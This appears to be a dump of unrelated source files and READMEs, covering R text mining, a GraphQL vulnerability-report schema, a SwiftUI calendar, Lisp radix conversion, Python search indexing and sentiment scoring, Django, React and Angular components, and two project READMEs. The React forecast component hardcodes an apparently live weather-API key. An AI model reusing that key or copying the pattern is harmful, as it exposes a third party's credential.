do.call("rbind", weighted_words) # Turn the keywords into a dataframe, and then group the dataframe # by keyword to sum the total weighted average. weighted_df = as.data.frame(weighted_words, stringsAsFactors = FALSE) names(weighted_df) = c("keywords", "char_weights") weighted_df$char_weights = as.numeric(weighted_df$char_weights) sum_df = tapply(weighted_df$char_weights, weighted_df$keywords, function(x) sum(x, na.rm = TRUE)) # Return the top 25 keywords, along with their weighted prices in terms # of their proportion. top_25 = head(sort(sum_df, decreasing = TRUE), n = 25) round(top_25 / sum(top_25), 3) } # Clean, remove duplicates ### text_mine() text_mine <- function(data_sub = tran_sub, curr_desc = 'business_categories') { # can change to tran_sub2, awarding_toptier_agency_name data_sub$recipient_location_state_code <- # Fix datatype as.character(data_sub$recipient_location_state_code) data_sub <- data.frame(data_sub, stringsAsFactors = FALSE) # https://www.r-bloggers.com/r-tip-use-stringsasfactors-false/ tran_comb <- tran_dupl_removal(tran_data = data_sub) # Remove duplicates tran_data_year <- split(tran_comb, tran_comb$fiscal_year) # Split by year year_to_state_desc_spend <- lapply(tran_data_year, function(x) year_to_state(yearly_df = x, desc = curr_desc)) ann_state_desc <- lapply(year_to_state_desc_spend, function(x) annual_desc_spend(year_list_element = x)) ann_state_desc } bus_text_mine <- text_mine(data_sub = tran_sub, curr_desc = business_categories) agency_name_text_mine <- text_mine(data_sub = tran_sub2, curr_desc = awarding_toptier_agency_name)
scalar uuid scalar jsonb type Query { """ get s3 presigned url for manifest upload, used by the CLI """ presignSbomUpload( orgId: uuid! buildId: uuid! ): SbomUploadUrlOutput sbomUrl( buildId: uuid! ): String authenticatedRepoCloneUrl( repoGithubId: Int! ): AuthenticatedRepoCloneUrlOutput fakeQueryToHackHasuraBeingABuggyMess: String availableOrgsWithRepos: [OrgWithRepos!] vulnerableReleasesFromBuild(buildId: uuid!, minimumSeverity: String): [BuildData_VulnerableRelease!] } type Mutation { """ get s3 presigned url for manifest upload, used only by the frontend """ presignManifestUpload( project_id: uuid! ): PresignedUrlResponse installSelectedRepos( orgs: [OrgsWithReposInput!]! ): InstallSelectedReposResponse } input OrgsWithReposInput { id: String! repos: [Int!]! } type InstallSelectedReposResponse { success: Boolean } input SbomUploadUrlInput { orgId: uuid! projectId: uuid! } type SbomUploadUrlOutput { error: Boolean! uploadUrl: UploadUrl } type PresignedUrlResponse { url: String! headers: jsonb! key: String! bucket: String! } type UploadUrl { url: String! headers: jsonb! } type AuthenticatedRepoCloneUrlOutput { url: String } type GithubRepository { orgName: String! orgId: Int! orgNodeId: String! repoName: String! repoId: Int! repoNodeId: String! gitUrl: String! ownerType: String! cloneUrl: String! defaultBranch: String! } type OrgWithRepos { organizationName: String! id: String! repos: [GithubRepository!]! } # Vulnerable Release Types type BuildData_VulnerableRelease { dev_only: Boolean! severity: String! cvss: Float chains: [[BuildData_DependencyNode!]!]! affected_by: [BuildData_AffectedByVulnerability!]! release: BuildData_Release! trivially_updatable: String! beneath_minimum_severity: Boolean! guides: [BuildData_Guide!]! fix_versions: [String!]! paths: [String!]! adjustment: BuildData_Adjustment #optional } type BuildData_Adjustment { adjusted_from_cvss_score: Float adjusted_from_severity_name: String path_matched: String! adjustments_applied: [String!]! } type BuildData_IgnoredVulnerability { note: String! } type BuildData_AffectedByVulnerability { vulnerability: BuildData_Vulnerability! beneath_minimum_severity: Boolean! ranges: [BuildData_Range!]! ignored: Boolean! ignored_vulnerability: BuildData_IgnoredVulnerability trivially_updatable_to: String fix_versions: [String!]! path: String! adjustment: BuildData_Adjustment #optional } type BuildData_Location { id: String! path: String! start_row: Int! start_column: Int! end_row: Int! end_column: Int! } type BuildData_DependencyNode { id: String! range: String! release_id: String! release: BuildData_Release! reachable: String! locations: [BuildData_Location!]! } type BuildData_Range { introduced: String fixed: String } type BuildData_Release { id: String! version: String! package: BuildData_Package! } type BuildData_Package { name: String! package_manager: String! } type BuildData_Vulnerability { id: String! severity_name: String cvss_score: Float summary: String source: String! source_id: String! guide_vulnerabilities: [BuildData_Guide_Vulnerability!]! cwes: [BuildData_VulnerabilityCwe!]! } type BuildData_VulnerabilityCwe { id: String! cwe: BuildData_Cwe! } type BuildData_Cwe { id: Int! name: String! description: String! common_name: String } type BuildData_Guide_Vulnerability { guide: BuildData_Guide } type BuildData_Guide { summary:String! id: String! title: String! }
// // MainView.swift // Clendar // // Created by Vinh Nguyen on 18/11/2020. // Copyright © 2020 Vinh Nguyen. All rights reserved. // import EventKit import SwiftUI import ConfettiSwiftUI import Shift import Then import SwiftDate struct ContentView: View { @EnvironmentObject var store: SharedStore @StateObject var eventKitWrapper = Shift.shared @State private var createdEvent: EKEvent? @State private var confettiCounter = 0 @State private var showDateSwitcher = false // MARK: - Views Compositions private var monthHeaderView: some View { HStack { Button {} label: { VStack(alignment: .trailing) { Text(store.selectedDate.toMonthString(calendar: store.calendar)) .modifier(BoldTextModifider(fontSize: 20, color: .appRed)) Text(store.selectedDate.toDayAndDateString(calendar: store.calendar).localizedUppercase) .modifier(BoldTextModifider()) } } .accessibility(addTraits: .isHeader) .simultaneousGesture( LongPressGesture().onEnded { _ in genLightHaptic() withAnimation { showDateSwitcher.toggle() } } ) .highPriorityGesture( TapGesture().onEnded { store.selectedDate = Date() } ) .keyboardShortcut("h", modifiers: [.command, .shift]) } } private var topView: some View { HStack { menuView Spacer() monthHeaderView } } private var addEventButton: some View { Button( action: { genLightHaptic() store.showCreateEventState.toggle() }, label: {}) .buttonStyle( SolidButtonStyle(imageName: "square.and.pencil") ) .sheet(isPresented: $store.showCreateEventState) { if SettingsManager.useExperimentalCreateEventMode { QuickEventView() .environmentObject(store) .modifier(ModalBackgroundModifier(backgroundColor: store.appBackgroundColor)) } else { NewEventView( eventStore: eventKitWrapper.eventStore, event: EKEvent.init(eventStore: eventKitWrapper.eventStore) .then { $0.startDate = store.selectedDate $0.endDate = store.selectedDate } ).environmentObject(store) } } .keyboardShortcut("n", modifiers: [.command]) } private var eventListView: some View { EventListView(events: eventKitWrapper.events.compactMap(ClendarEvent.init)) .environmentObject(store) } private var eventView: some View { VStack(spacing: 20) { topView makeCalendarGroupView() if showDateSwitcher { makeQuickDateSwitcherView() } eventListView } } var menuView: some View { HStack { makeMenuButton() if showDateSwitcher { makeDateSwitcherToggle() } } .accentColor(.appRed) .font(.mediumFontWithSize(20)) } // MARK: - Body var body: some View { NavigationView { ZStack(alignment: .bottomTrailing) { eventView addEventButton ConfettiCannon(counter: $confettiCounter, repetitions: 5, repetitionInterval: 0.8) } .padding() .preferredColorScheme(appColorScheme) .environment(\.colorScheme, appColorScheme) .background(store.appBackgroundColor.edgesIgnoringSafeArea(.all)) .modifier(HideNavigationBarModifier()) .ignoresSafeArea(.keyboard, edges: .bottom) Text("No event selected") .modifier(BoldTextModifider()) } .onAppear { configure() } .onReceive(store.$selectedDate) { date in selectDate(date) } .onReceive(NotificationCenter.default.publisher(for: .didAuthorizeCalendarAccess)) { _ in selectDate(Date()) } .onReceive(NotificationCenter.default.publisher(for: .EKEventStoreChanged)) { _ in selectDate(store.selectedDate) } .onReceive(NotificationCenter.default.publisher(for: .didDeleteEvent)) { _ in selectDate(store.selectedDate) } .onReceive(NotificationCenter.default.publisher(for: .didChangeSavedCalendarsPreferences)) { _ in selectDate(store.selectedDate) } .onReceive(NotificationCenter.default.publisher(for: .didChangeUserInterfacePreferences)) { _ in store.appBackgroundColor = .backgroundColor() } .onReceive(NotificationCenter.default.publisher(for: .inAppPurchaseSuccess)) { (_) in confettiCounter += 1 } .onReceive(NotificationCenter.default.publisher(for: .didChangeCalendarType)) { notification in handleDidChangeCalendarTypeEvent(notification) } } } extension ContentView { private func configure() { selectDate(Date()) } private func selectDate(_ date: Date) { genLightHaptic() fetchEvents(for: date) } private func fetchEvents(for date: Date = Date()) { Task { try await eventKitWrapper.fetchEvents(for: date, filterCalendarIDs: UserDefaults.savedCalendarIDs, calendar: CalendarIdentifier.current.calendar) } } private func makeQuickDateSwitcherView() -> some View { DatePicker(selection: $store.selectedDate, displayedComponents: [.date], label: {}) .datePickerStyle(.wheel) .labelsHidden() } private func makeDateSelectionResetView() -> some View { Button( action: { genLightHaptic() store.selectedDate = Date() showDateSwitcher = false }, label: { Image(systemName: "arrow.uturn.left.circle.fill") } ).keyboardShortcut("r", modifiers: [.command]) } private func makeDateSwitcherToggle() -> some View { Toggle(isOn: $showDateSwitcher.animation(.easeIn(duration: 0.25))) { Image(systemName: "calendar.circle.fill") } .controlSize(.small) .toggleStyle(.button) .keyboardShortcut("o", modifiers: [.command, .shift]) } private func makeCalendarGroupView() -> some View { CalendarView( calendar: store.calendar, date: $store.selectedDate, content: { date in Button(action: { store.selectedDate = date }) { Text("000") .padding(3) .foregroundColor(.clear) .background( store.calendar.isDate(date, inSameDayAs: store.selectedDate) ? Color.appRed : store.calendar.isDateInToday(date) ? .primaryColor : .clear ) .clipShape(Circle()) .accessibilityHidden(true) .overlay( Text(date.toDateString(calendar: store.calendar)) .minimumScaleFactor(0.5) .font(.boldFontWithSize(15)) .foregroundColor( store.calendar.isDate(date, inSameDayAs: store.selectedDate) ? Color.white : store.calendar.isDateInToday(date) ? .white : .appDark ) ) } }, trailing: { date in Text(date.toDateString(calendar: store.calendar)) .minimumScaleFactor(0.5) .font(.boldFontWithSize(15)) .foregroundColor(Color(.gray).opacity(0.3)) }, header: { date in Text(date.toDayString(calendar: store.calendar).localizedUppercase) .minimumScaleFactor(0.5) .font(.regularFontWithSize(12)) .foregroundColor(.appGray) }, title: { _ in }) .equatable() .gesture( DragGesture(minimumDistance: 3.0, coordinateSpace: .local) .onEnded { value in if value.translation.width < 0 && value.translation.height > -30 && value.translation.height < 30 { withAnimation { let newDate = store.selectedDate.dateByAdding(1, .month).date showDateSwitcher = false store.selectedDate = newDate } } else if value.translation.width > 0 && value.translation.height > -30 && value.translation.height < 30 { withAnimation { let newDate = store.selectedDate.dateByAdding(-1, .month).date showDateSwitcher = false store.selectedDate = newDate } } } ) } private func makeMenuButton() -> some View { Button( action: { genLightHaptic() store.showSettingsState.toggle() }, label: { Image(systemName: "line.3.horizontal.decrease") } ).sheet(isPresented: $store.showSettingsState) { SettingsWrapperView() .modifier(ModalBackgroundModifier(backgroundColor: store.appBackgroundColor)) }.keyboardShortcut(",", modifiers: [.command]) } private func handleDidChangeCalendarTypeEvent(_ notification: Notification) { guard let calendar = notification.object as? Calendar else { return } store.calendar = calendar } } struct MainContentView_Previews: PreviewProvider { static var previews: some View { ContentView().environmentObject(SharedStore()) } }
;; All in 1------------------------------------------------------------------------------------- (defun convert (num) (when (> (length num) 0) (flet ((compute (num) (cons num (mapcar (lambda (x) (num-to-redix (concatenate 'string x num))) '("0o" "0x" "0y"))))) (if (/= (r-check num) 10) (compute (princ-to-string (redix-to-num num))) (compute num))))) ;;; Components----------------------------------------------------------------------------------- (defun redix-to-num (full-num) "Converts a base 2(0y), 8(0o), and 16(0x) number" ;; num-list has to be lower case before we pass it in or else the math will add up wrong (let ((num-list (string-to-hexdec-list (string-downcase (subseq full-num 2))))) (reduce #'+ (mapcar (lambda (num pos) (* num (expt (r-check full-num) pos))) ; exponent each number by it's position in the list num-list (range (1- (length num-list)) 0))))) ; (expt ? 0) (defun num-to-redix (full-num &optional base) ;; Grab the 0x/o/y then combine it with the converted string (concatenate 'string (subseq full-num 0 2) (coerce (mod-number (parse-integer (subseq full-num 2)) ; mod-number returns a list '(#\a #\1) (r-check full-num base)) 'string))) ;;; Helper methods------------------------------------------------------------------------------- (defun string-to-hexdec-list (str) "Converts every number of the string into a list... assumes that the list is all lowercase" (map 'list (lambda (char) (if (digit-char-p char) (digit-char-p char) (- (char-int char) 87))) str)) (defun mod-number (num redix) "Returns a list of characters from moding the number given" (labels ((f (numbers acc) (if (= numbers 0) acc (let ((mod-num (mod numbers redix))) (f (floor numbers redix) (cons (if (> mod-num 9) ;; Offset of 87 Makes 10 an a and so on (code-char (+ 87 mod-num)) (digit-char mod-num)) ; we make this a char so we can coerce it acc)))))) (f num nil))) (defun r-check (str &optional (base 10)) (if (or (> (length str) 1) (= base 10)) (case (char str 1) ((#\y) 2) ((#\o) 8) ((#\x) 16) (t 10)) base)) (defun range (first &optional (second nil) (step 1)) (macrolet ((for (second word first) `(loop :for x :from ,second ,word ,first by step collect x))) (cond ((and second (> second first)) (for first to second)) (second (for first downto second)) (t (for 0 to first))))) ;;; Useless functions that helped me learn but are now useless----------------------------------- (defun redix-to-num% (full-num) "Converts a base 2(0y), 8(0o), and 16(0x) number" ;; num-list has to be lower case before we pass it in or else the math will add up wrong (let* ((num-list (string-to-hexdec-list (string-downcase (subseq full-num 2)))) (list-pos (length num-list))) (reduce #'+ (mapcar (lambda (num) ;; Reduce list-pos by 1 every iteration so the exponent gives the proper value (decf list-pos 1) ; SE (if (= list-pos 0) num (* num (expt (r-check full-num) list-pos)))) num-list)))) (defun string-to-hexdec-list% (str) "Converts every number of the string into a list... assumes that the list is all lowercase" (labels ((transform (lst string) (if (= (length string) 0) lst ;Checks if it is a number or char (transform (cons (if (digit-char-p (char string 0)) (digit-char-p (char string 0)) (- (char-int (char string 0)) 87)) lst) (subseq string 1))))) (reverse (transform nil str)))) ; reverse output is still more efficient then using append! (defun hexdec-list-to-string% (list) "Converts a list into a string with no spaces" (remove #\Space (string-trim '(#\( #\)) (princ-to-string list)))) ; turns out using coerce on chars is better than this on numbers and chars ;; wanna just cheat----------------------------------------------------------------------------- (defun convert% (string) (flet ((parse (redix) (parse-integer string :start 2 :radix redix))) (case (char string 1) ((#\y) (parse 2)) ((#\o) (parse 8)) ((#\x) (parse 16)) (t (error (format nil "Illegal base designation in ~a" string)))))) (defun convert%% (string) (let ((designators '(("0y" . 2) ("0o" . 8) ("0x" . 16)))) (cond ((string= "" string) 0) ((every #'digit-char-p string) (parse-integer string)) ((> (length string) 2) (parse-integer string :start 2 :radix (cdr (assoc (subseq string 0 2) designators :test #'string=)))) (t (error (format nil "Illegal base designation in ~a" string)))))) ;; (defun convert% (num) ;; (when (case (length num) ;; (1 t) ;; (0 nil) ;; (t (if (/= (r-check num) 10) ;; (setf num (princ-to-string (redix-to-num num))) t))) ;; (format t "~a " num) ;; (mapcar (lambda (x) (format t "~a " ;; (num-to-redix (concatenate 'string x num)))) '("0o" "0x" "0y")))) ;; (defun string-to-hexdec-list (str) ;; "Converts every number of the string into a list... assumes that the list is all lowercase" ;; (map 'list (lambda (char) ;; (<*> ((lambda (x y z) (if (digit-char-p x) y z))) ;; (digit-char-p) char ;; (- (char-int char) 87))) str)) ;; (defun convert (num) ;; (when (> (length num) 0) ;; (when (/= (r-check num) 10) ;; (setf num (princ-to-string (redix-to-num num)))) ;; (<*> (cons) ((lambda (y) (mapcar (lambda (x) (num-to-redix (concatenate 'string x y))) '("0o" "0x" "0y")))) num)))
from elasticsearch import Elasticsearch import sys import pandas as pd import numpy as np # Paths to input CSV files input_csv_path = '../docs/passage_metadata_emb.csv' # Connect to your ElasticSearch cluster es = Elasticsearch([{'host': 'localhost', 'port': 9200, 'scheme': 'http'}]) # Check if the ElasticSearch index already exists, if not, create it index_name = 'passage_embeddings' # You can choose a suitable name if not es.indices.exists(index=index_name): # Define the mapping for your index (customize as needed) mapping = { "mappings": { "properties": { "Passage": {"type": "text"}, "Metadata": {"type": "keyword"}, "Embedding": {"type": "dense_vector", "dims": 768} } } } # Create the index with the specified mapping es.indices.create(index=index_name, body=mapping) print(f"Index '{index_name}' created successfully.") # Read the input CSV containing passages, metadata, and embeddings data = pd.read_csv("../docs/passage_metadata_emb.csv") # Index each row of data into ElasticSearch for index, row in data.iterrows(): doc = { 'Passage': row['Passage'], 'Metadata': row['Metadata'], 'Embedding': np.fromstring(row['Embedding'], sep=',') # Convert the string back to a NumPy array } # Index the document into the ElasticSearch index es.index(index=index_name, document=doc) print(f"Indexed {len(data)} documents into '{index_name}' index.")
import json import math import string #paths to json files that have weights posweightfilepath = "PosWeightsUCIDrug.json" negweightfilepath = "NegWeightsUCIDrug.json" #analyze function def analyze(input) : input = input.replace('/', ' ').replace('.', ' ').replace('-', ' ') input = input.translate(str.maketrans('', '', string.punctuation)).lower() #dicts to hold weights posweightsdict = {} negweightsdict = {} #open the json files and import them to dictionaries with open(posweightfilepath) as posweights : posweightsdict = json.load(posweights) with open(negweightfilepath) as negweights : negweightsdict = json.load(negweights) #initialize the probabilities to the probability any document is pos or neg #use log space to avoid underflow probDocPositive = math.log(posweightsdict["ProbPositive"]) probDocNegative = math.log(negweightsdict["ProbNegative"]) #for each word in document for word in input.split() : #make sure the word actually has a probability if word in posweightsdict : #multiply (in this case add because log space) the probability probDocPositive += math.log(posweightsdict[word]) #make sure the word actually has a probability if word in negweightsdict : #multiply (in this case add because log space) the probability probDocNegative += math.log(negweightsdict[word]) #come back from log space e^ln(a+b) = a*b probDocPositive = math.exp(probDocPositive) probDocNegative = math.exp(probDocNegative) if probDocPositive > probDocNegative : label = 1 else : label = 0 return [label, probDocPositive, probDocNegative] def prompt() : #make it so we enter the while loop response = "Y" #ask for user sentences until they say no while response.upper() == "Y" : #prompt for sentence sentence = input("Enter your sentence: ") #analyze the inputs output = analyze(sentence) #output of analyzeinputs = [label, probpos, probneg] if output[0] == 1 : label = "positive" else : label = "negative" #tell the user the classification and probability print(f"\nSentence S: \"{sentence}\" was classified as {label}.\nP(positive | S) = {output[1]} \nP(negative | S) = {output[2]}\n") #prompt to continue response = input("Do you want to enter another sentence [Y/N]?")
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <!-- semantic UI --> <link rel="stylesheet" type='text/css' href="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.14/semantic.min.css"> <!--Chart js--> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.8.0/Chart.min.js" integrity="sha256-Uv9BNBucvCPipKQ2NS9wYpJmi8DTOEfTA/nH2aoJALw=" crossorigin="anonymous"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.8.0/Chart.min.css" integrity="sha256-aa0xaJgmK/X74WM224KMQeNQC2xYKwlAt08oZqjeF0E=" crossorigin="anonymous" /> <!-- jQuery --> <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/tw-elements/dist/css/index.min.css" /> </head> <body> {% include 'details/menu.html' %} <div> <canvas id="myChart"></canvas> </div> <script> const ctx = document.getElementById('myChart').getContext('2d'); const myChart = new Chart(ctx, { type: "bar", data: { labels: [{% for post in posts %} '{{ post.nomi }}', {% endfor %}], datasets: [{ label: 'NKMK arxivida saqlanayotgan hujjatlar nomi va yillari', data: [{% for post in posts %} {{ post.yillar }}, {% endfor %}], data: [{% for post in posts %} '{{ post.oylik_ish_haqi }}', {% endfor %}], backgroundColor: [ 'rgba(66, 239, 245, 0.2)', 'rgba(66, 194, 245, 0.2)', 'rgba(191, 66, 245, 0.2)', 'rgba(219, 21, 237, 0.2)', 'rgba(237, 21, 147, 0.2)', 'rgba(126, 237, 21, 0.2)', 'rgba(6, 204, 13, 0.2)', 'rgba(7, 140, 36, 0.2)', 'rgba(143, 201, 16, 0.2)', 'rgba(217, 214, 37, 0.2)', 'rgba(64, 227, 175, 0.2)', 'rgba(26, 75, 237, 0.2)', ], borderColor: [ 'rgba(66, 239, 245, 1)', 'rgba(66, 194, 245, 1)', 'rgba(191, 66, 245, 1)', 'rgba(219, 21, 237, 1)', 'rgba(237, 21, 147, 1)', 'rgba(126, 237, 21, 1)', 'rgba(6, 204, 13, 1)', 'rgba(7, 140, 36, 1)', 'rgba(143, 201, 16, 1)', 'rgba(217, 214, 37, 1)', 'rgba(64, 227, 175, 1)', 'rgba(26, 75, 237, 1)' ], borderWidth: 1 }] }, options: { scales: { y: { beginAtZero: true } } } }); </script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script> </body> </html>
import { useState, useEffect } from "react"; import { useSelector } from "react-redux"; import './ForecastGallery.css' import ForecastCard from "../forecastCard/ForecastCard"; function ForecastGallery() { const { activeCity, tripStart, tripEnd } = useSelector(state => state.trips.activeTrip); const [loading, setLoading] = useState(false); const [forecast, setForecast] = useState(null); useEffect(() => { async function fetchTripForecast(param, start, end) { setLoading(true); try { const myApiKey = 'FZ9F2VRYXA295X39TLM8T9G53'; const response = await fetch( `https://weather.visualcrossing.com/VisualCrossingWebServices/rest/services/timeline/${param}/${start}/${end}?unitGroup=metric&include=days&key=${myApiKey}&contentType=json` ); const data = await response.json(); if (data) { setForecast(data); setLoading(false); } } catch (e) { setLoading(false); } } fetchTripForecast(activeCity, tripStart, tripEnd); }, [activeCity, tripStart, tripEnd]) return forecast && (<div className="forecast-gallery"> <h3>Trip Forecast:</h3> <ul className="forecast-list"> { loading && <p>Loading forecast for a trip...</p> } { forecast && forecast?.days.map((day) => ( <ForecastCard key={day.datetime} {...day} /> )) } </ul> </div> ) } export default ForecastGallery
import {Component} from '@angular/core'; import {RouteConfig, Router, ROUTER_DIRECTIVES} from '@angular/router-deprecated'; import {HeaderComponent} from '../core/components/header/header.component'; import {DynamicRouteConfiguratorService} from '../core/services/dynamic-route-configurator.service'; import {AppConfigurationService} from '../core/services/app-configuration.service'; import {AuthenticationService} from '../core/services/authentication.service'; import {WidgetService} from '../core/services/widget.service'; import {QuickLinkService} from '../core/services/quick-link.service'; import {DeviceComponent} from './components/dashboard/quick-links/device.component'; import {App} from '../core/app'; import {MenuComponent} from '../core/components/menu/menu.component'; import {DomainView, ServiceView, OperationView} from '../core/components/menu/menu.model'; import {SSCWorkflowExecutionService} from '../core/services/ssc-workflow-execution.service'; import {BrowserStoreService} from '../core/services/browser-store.service'; import {Observable} from 'rxjs/Rx'; import {Store} from '@ngrx/store'; import {DASHBOARD_CREATE} from "../core/reducers/dashboard.reducer"; @Component({ selector: 'my-app', templateUrl: 'src/custom/custom-app.component.html', directives: [ ROUTER_DIRECTIVES, HeaderComponent, MenuComponent ], providers: [DynamicRouteConfiguratorService, AppConfigurationService, BrowserStoreService, AuthenticationService, QuickLinkService, WidgetService, SSCWorkflowExecutionService] }) @RouteConfig([ { path: '/device', name: 'Device', component: DeviceComponent } ]) export class CustomAppComponent extends App { isMenuActive:boolean = false; domainView:DomainView = new DomainView(); menu$:Observable<any>; dsoModel$:Observable<any>; constructor(private _router:Router, private _widgetService:WidgetService, private _quickLinkService:QuickLinkService, private _authenticationService:AuthenticationService, private _acs:AppConfigurationService, private _store:Store<any>) { super(); this._router.config(this._getDefaultRouterConfig()); this._store = _store; this.menu$ = this._store.select('MenuReducer'); this.menu$.subscribe( data => { this.isMenuActive = data; }, (error) => { console.log('Error:', +error); } ); this.dsoModel$ = this._store.select('DSOModelReducer'); this.dsoModel$.subscribe( data => { this.domainView = this.jsonToMenuModel(data); }, (error) => { console.log('Error: ', error); } ); } ngOnInit() { this._acs.loadConfiguration().subscribe( res => { this.validate(); } ); } jsonToMenuModel(json) { let menuDomain = new DomainView(); if (json && json.domains) { json.domains.domain.forEach((domain:any) => { if (domain.id === 'Menu'){ menuDomain.id = domain.id; if (domain.services) { domain.services.service.forEach((service:any)=> { let menuService = new ServiceView(); menuService.id = service.id; menuService.name = service.name; if (service.operations) { service.operations.operation.forEach((op:any)=> { let menuOperation = new OperationView(); menuOperation.id = op.id; menuOperation.name = op.name; menuService.operations.push(menuOperation); }); } menuDomain.services.push(menuService); }); } } }); } return menuDomain; } validate() { this._authenticationService.validate().subscribe( data => { this._store.dispatch({type:DASHBOARD_CREATE}); let link = ['Dashboard']; this._router.navigate(link); }, err => { let link = ['Login']; this._router.navigate(link); } ); } }
# OSC Avatar Manager This is a personal project that includes a face tracking relay from ALVR to OSC (VRCFT replacement), among other things. Pros vs VRCFT: - Runs on Linux - Does not randomly crash Cons vs VRCFT: - Fine tuning of face tracking parameters can only be done in code Supported: - Quest Pro - Pico 4 Pro (eye only) - Project Babble # Basic Setup To build, using [rustup](https://rustup.rs/) is recommended! If you have a Quest Pro: - In ALVR, enable `VRCFaceTracking` and `Log Tracking`. If you use a Pico 4 Pro: - In ALVR, enable `VRChat Eye OSC` and `Log Tracking`. # Use with VRC There is a helper software to handle OscQuery for us at [galister/VrcAdvert](https://github.com/galister/VrcAdvert). ```bash wget -O VrcAdvert https://github.com/galister/VrcAdvert/releases/latest/download/VrcAdvert # change this link to babble if using babble wget -O oscavmgr https://github.com/galister/oscavmgr/releases/latest/download/oscavmgr-alvr chmod +x VrcAdvert oscavmgr ``` I recommend using this start script: ```bash #!/usr/bin/env bash trap 'jobs -p | xargs kill' EXIT ./VrcAdvert 9402 9002 & ./oscavmgr ``` ## VRC-Only: Autopilot This activates when your HMD is in hand-tracking mode. The bottom of the terminal will change from `AP-OFF` to `MANUAL` when active. **Turn left-right**: Look at the left/right edge of your screen\ **Jump**: Look at the top edge of your screen\ **Toggle Mute**: Raise your eyebrows\ **Move forward**: Puff up your cheeks\ **Move backwards**: Suck with your cheeks ## VRC-Only: Gogo Loco integration Auto loco switch: - Switches walking animations off when in full-body mode. Pose save: - Saves the idle stand/crouch/prone pose between avatars. Quick-ascend: - While in Gogo flight mode, put both hands (controllers) above your head to ascend at a super-high speed. ## VRC-Only External Storage This allows you to save infrequently used sync parameters in oscavmgr, so that they don't take up sync param space on your avatar. Your corresponding animator state machine **must be Write Defaults OFF** for this to work. Requires 4 parameters: - `ExtIndex` key/name of the parameter to be saved - `ExtValue` value of the parameter to be saved - `IntIndex` key/name of the variable coming from oscavmgr - `IntValue` value of the parameter coming from oscavmgr To set a value: - Set `ExtIndex` to an integer. This will be the key/name of your parameter. - Set `ExtValue` to a float. This is the value saved. This float can be 0/1 when saving a bool, or a number higher than 1 when saving an int. To read a value: - Have `ExtIndex` on 0 (otherwise oscavmgr will be stuck waiting for your input). - oscavmgr will iterate through all of your saved parameters and send them back to VRC (and other players) one at a time. - In your avatar's FX animator, make a decision tree to handle the `IntValue` if `IntIndex` corresponds to a known value. # Use with Resonite Enable this mod: [galister/EyeTrackVRResonite](https://github.com/galister/EyeTrackVRResonite) (This is a fork that supports both Eye + Face) With the mod enabled, simply start oscavmgr using `cargo run --release`. A set of DynamicValueVariables will be created for you. Use them to drive the blendshapes of your choice. (Network syncing is already handled for you). If you are starting up Resonite after using VRC, you will need to restart oscavmgr! **Pico 4 Pro Users**: Your eyes will be always closed. To fix this, flip the Open and Closed states for each eye in your avatar's EyeManager. # Join the Linux VR Adventures community! - [Discord](https://discord.gg/gHwJ2vwSWV) - [Matrix](https://matrix.to/#/#linux-vr-adventures:matrix.org) - [Wiki](https://lvra.gitlab.io/)
# PGR Drafts ## Table of Contents - [Introduction](#introduction) - [Features](#features) - [Technology Stack](#technology-stack) - [Installation and Setup](#installation-and-setup) - [Usage](#usage) - [Contributions](#contributions) - [License](#license) ## Introduction The Pokémon Drafting & Scoring App is designed for Pokémon enthusiasts to draft teams, battle, and score the outcomes. It's a full-stack web application with an intuitive user interface that allows for easy navigation and interaction. ## Features ### Drafting Pokémon - Users can join different lobbies. - Each lobby can have multiple trainers. - Trainers can draft 6 pokémon to their team - Trainers then battle other trainers in their lobby using the drafted team ### Scoring System - After a game, users can report the result. - The outcome is recorded in the backend. - Points are allocated based on wins, losses, and draws. ### Points Table - Users can view the points table for a lobby to track scores and rankings. ### Additional Features - Filter lobbies based on user's preferences. - Option to add Pokémon to a specific team. - Dropdown selection for trainers and lobbies. ## Technology Stack - React.js - TypeScript - CSS/SASS - Fetch API ## Installation and Setup 1. Clone the repository: \``` git clone https://github.com/arjunjoshua/PGR_Drafts.git \``` 2. Navigate to the project directory: \``` cd pgr-drafts \``` 3. Install dependencies: \``` npm install \``` 4. Run the project: \``` npm run dev \``` ## Usage 1. **Joining a Lobby**: Users can sign up for the competition through the PogoRaids Discord server. 2. **Drafting**: Inside a lobby, select a trainer and draft Pokémon to your team. 3. **Reporting Scores**: After a game, report the score using the "Report Score" button. 4. **Viewing Points Table**: Navigate to the points table to see the current rankings. ## Contributions Contributions are welcome! ## License This project is under the MIT License.
